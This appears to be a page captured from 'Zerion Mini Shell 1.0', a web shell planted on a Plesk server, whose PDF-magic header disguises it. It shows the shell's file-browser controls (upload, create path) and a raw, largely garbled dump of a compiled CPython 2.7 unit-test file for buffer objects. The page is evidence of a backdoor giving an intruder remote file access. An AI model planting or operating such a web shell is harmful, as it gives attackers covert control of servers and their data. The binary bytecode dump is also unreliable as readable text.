%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/plesk/python/2.7/lib64/python2.7/test/
Upload File :
Create Path :
Current File : //opt/plesk/python/2.7/lib64/python2.7/test/test_buffer.pyo

�
5}�ac@s�dZddlZddlZddlZddlZddlZddlmZdejfd��YZ	d�Z
edkr�e
�ndS(sSUnit tests for buffer objects.

For now, tests just new or changed functionality.

i����N(ttest_supporttBufferTestscBs>eZd�Zd�Zd�Zd�Zejd��ZRS(c
Cs�djd�ttddd��D��}t|�}d
}x^|D]V}xM|D]E}x<|dD]0}|j||||�||||��qbWqQWqDWdS(Ntcss|]}t|�VqdS(N(tchr(t.0tc((s9/opt/plesk/python/2.7/lib64/python2.7/test/test_buffer.pys	<genexpr>si�i����iiiii,i����i��i���(
iNiiii,i����i����i��i���(tjointlisttrangetbuffertNonetassertEqual(tselftstbtindiceststarttstoptstep((s9/opt/plesk/python/2.7/lib64/python2.7/test/test_buffer.pyttest_extended_getslices+

cCs]djd�ttddd��D��}t|�}t|�}|j|j�|�dS(NRcss|]}t|�VqdS(N(R(RR((s9/opt/plesk/python/2.7/lib64/python2.7/test/test_buffer.pys	<genexpr>si�i����(RRRR	t
memoryviewRttobytes(RR
Rtm((s9/opt/plesk/python/2.7/lib64/python2.7/test/test_buffer.pyttest_newbuffer_interfaces+cCs<td�}t|tjtj�}|j|d d�dS(Ns
hola mundoiR(t	bytearrayR	tsystmaxsizeR(Rtdatatbuf((s9/opt/plesk/python/2.7/lib64/python2.7/test/test_buffer.pyt!test_large_buffer_size_and_offset$scCsYtd�}|jt��8tj��%tjddt�tj|�WdQXWdQXdS(Ntabctignores.*buffer(R	tassertRaisest	TypeErrortwarningstcatch_warningstfilterwarningstDeprecationWarningtcopy(RR((s9/opt/plesk/python/2.7/lib64/python2.7/test/test_buffer.pyt	test_copy)s

cCsytd�}x:td�D],}|jt��tj||�WdQXqWtjdtf��tj|d�WdQXdS(NRis.*buffer(	R	RR R!tpickletdumpsRtcheck_py3k_warningsR%(RRtproto((s9/opt/plesk/python/2.7/lib64/python2.7/test/test_buffer.pyttest_pickle/s(	t__name__t
__module__RRRR'Rtcpython_onlyR,(((s9/opt/plesk/python/2.7/lib64/python2.7/test/test_buffer.pyRs
				cCs-tjdtf��tjt�WdQXdS(Nsbuffer.. not supported(RR*R%trun_unittestR(((s9/opt/plesk/python/2.7/lib64/python2.7/test/test_buffer.pyt	test_main:s	
t__main__(t__doc__R&R(RtunittestR"ttestRtTestCaseRR1R-(((s9/opt/plesk/python/2.7/lib64/python2.7/test/test_buffer.pyt<module>s,	

Zerion Mini Shell 1.0